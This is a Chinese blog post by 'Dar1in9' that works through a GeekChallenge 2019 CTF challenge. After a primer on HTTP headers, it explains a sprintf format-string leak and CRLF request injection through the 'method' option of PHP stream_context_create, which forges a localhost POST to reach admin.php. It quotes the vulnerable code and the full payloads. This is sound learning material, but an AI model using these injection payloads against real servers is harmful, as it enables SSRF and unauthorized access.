极客大挑战2019的服务端检测系统__HTTP协议

极客大挑战的”服务端检测系统”

这道题没做出来,看来writeup之后发现是因为自己基础知识不足。这里补一下。

关于HTTP头的一些小知识

http头的格式:

1
2
3
4
5
6
请求方法 /路径 HTTP/版本
头字段: 值

比如:
GET /index.php HTTP/1.1
Host: 127.0.0.1

其中:

http头部的各个字段之间用CRLF(\r\n 或 %0d%0a)分割
http请求头(响应头)和请求体(响应体)之间用两个CRLF分割

最简单的Http请求

get请求:

1
2
GET / HTTP/1.1
Host: xx

post请求

1
2
3
4
5
6
POST / HTTP/1.1
Host: xxx
Content-Type: application/x-www-from-urlencoded
Content-Length: 3

a=1

http头的字段(一小部分)

Host

用于多个域名映射到同一个ip时,按照Host的内容匹配不同网站内容,每个Http头必须有Host头
当这个目的主机上只有一个网站,那么Host字段内容可以为任意值

Content-Type

表明内容部分的编码格式和媒体类型 post/put等方式必须有(如果有请求体)

请求头中的Content-Type
GET请求:
GET没有请求实体部分,所以请求头中不需要设置Content-Type字段
POST/PUT请求
如果post/put请求有请求体(有传值),那么必须要设置Content-Type字段(否则服务端可能无法处理你的请求)

  • 第一类:raw原始类型,可以上传任意格式的文本,比如text、json、xml、html..(中文不进行编码)
    text请求:Content-Type: text/plain
    json请求:Content-Type: application/json
    html请求:Content-Type: text/html
  • 第二类:application/x-www-from-urlencoded,会将表单内的数据转换拼接成key-value对(对非ascii码进行编码)
    Content-Type: application/x-www-from-urlencoded
  • 第三类:multipart/from-data,将表单的数据处理为一条消息,以标签为单元,用分隔符分开。既可以上传键值对,也可以上传文件。
    Content-Type: multipart/from-data;boundary=xxx
    在请求体中会有一个Content-Disposition字段,用于描述提交的表单的具体信息
    在这里插入图片描述

响应头中的Content-Type
用来告诉客户端,服务端返回的真实内容类型是什么。浏览器或客户端会根据这个值来做一些操作。

Content-Length 表示内容部分的长度 post/put等方式必须有(如果有请求体)



了解了上面的东西再来看这道题

题目给了源码,可控的变量是url和method,提示了admin.php,但要本地才能访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!-- /admin.php -->

<!--
if(isset($_POST['method']) && isset($_POST['url']) ){
$method=$_POST['method'];
$url=$_POST['url'];

if(preg_match('/^http:\/\//i',$url)){
$opts = array(
'http'=>array(
'method'=>$method,
'timeout'=>3
)
);

$context = stream_context_create($opts);
$body = @file_get_contents($url."/anything", false, $context);

if(isset($http_response_header)){
preg_match("/Allow:(.*?);/i",implode(';',$http_response_header).";",$matches);
if(isset($matches[1])){
echo "服务端支持的请求方法有:".$matches[1];
}else{
echo "failed<br>";
echo sprintf("body length of $method%d", $body);
}

}else{
echo "error";
}
}else{
echo 'not allowed';
}

}
-->

注意到这里将method放在了%d的前面,如果method为%s%,name结尾的%就会将%d中的%给转移掉,而前面的%s就可以将body中的内容给打印出来。
而method又会作为http请求的方式,但不影响,因为某些中间件会将不认识的方式默认当做GET请求来响应

1
2
echo "failed<br>";
echo sprintf("body length of $method%d", $body);

提交method=%s%,得到:在这里插入图片描述
代码为:

1
2
3
4
5
6
7
8
9
10
<?php
include("flag.php");
if($_SERVER['REMOTE_ADDR']=="127.0.0.1"){
show_source(__FILE__);
if(@$_POST["iwantflag"]=="yes"){
echo $flag;
}
}else{
echo "only 127.0.0.1 can visit it";
}

这里要post一个iwantflag=yes才能获得flag

再看看下面这串代码

1
2
3
4
5
6
7
8
9
$opts = array(
'http'=>array(
'method'=>$method,
'timeout'=>3
)
);

$context = stream_context_create($opts);
$body = @file_get_contents($url."/anything", false, $context);

这里使用的stream_context_create和file_get_contents来模拟http请求,method是直接拼接的我们的输入,所以这里我们可以构造一个任意的http请求。

举个列子:
这里服务器的代码为

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$method=$_POST['method'];
$arr = array(
'http'=>array(
'method' => $method,
'header' => "Accept-langule: en"
)
);
$context=stream_context_create($arr);
$body = file_get_contents("http://127.0.0.1:8808",false,$context);
var_dump($body);
?>

我们用nc来监听本机的8808端口,看看file_get_contents发送的http头数据

1
nc -lp 8808

如果method为正常的GET,这时候就是正常的一个http请求
在这里插入图片描述
而也很容易想到,我们可以通过method来进行注入,使http头变成我们想要的样子,比如我输入

1
2
3
4
5
6
7
method=POST / HTTP/1.1
Host: 123
Content-Type: application/x-www-from-urlencoded
Content-Length: 3

a=1
a

这时发出的http请求就会变成
在这里插入图片描述
可以看到,前面的包已经完全成为我们可控的了。

到这里已经很明白了,只要通过method构造我们的http请求头即可

最后payload:

1
2
3
4
5
6
url=http://127.0.0.1&method=POST /admin.php HTTP/1.1
Host: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

iwantflag=yes%26id=%s%

最后加一个参数是为了防止后面的东西影响到前面的iwantflag参数
%26是&的url编码格式,防止在提前被认为是参数分隔符。

最后,得到flag
在这里插入图片描述

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2020/01/19/writeup/极客大挑战2019的服务端检测系统__HTTP协议/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog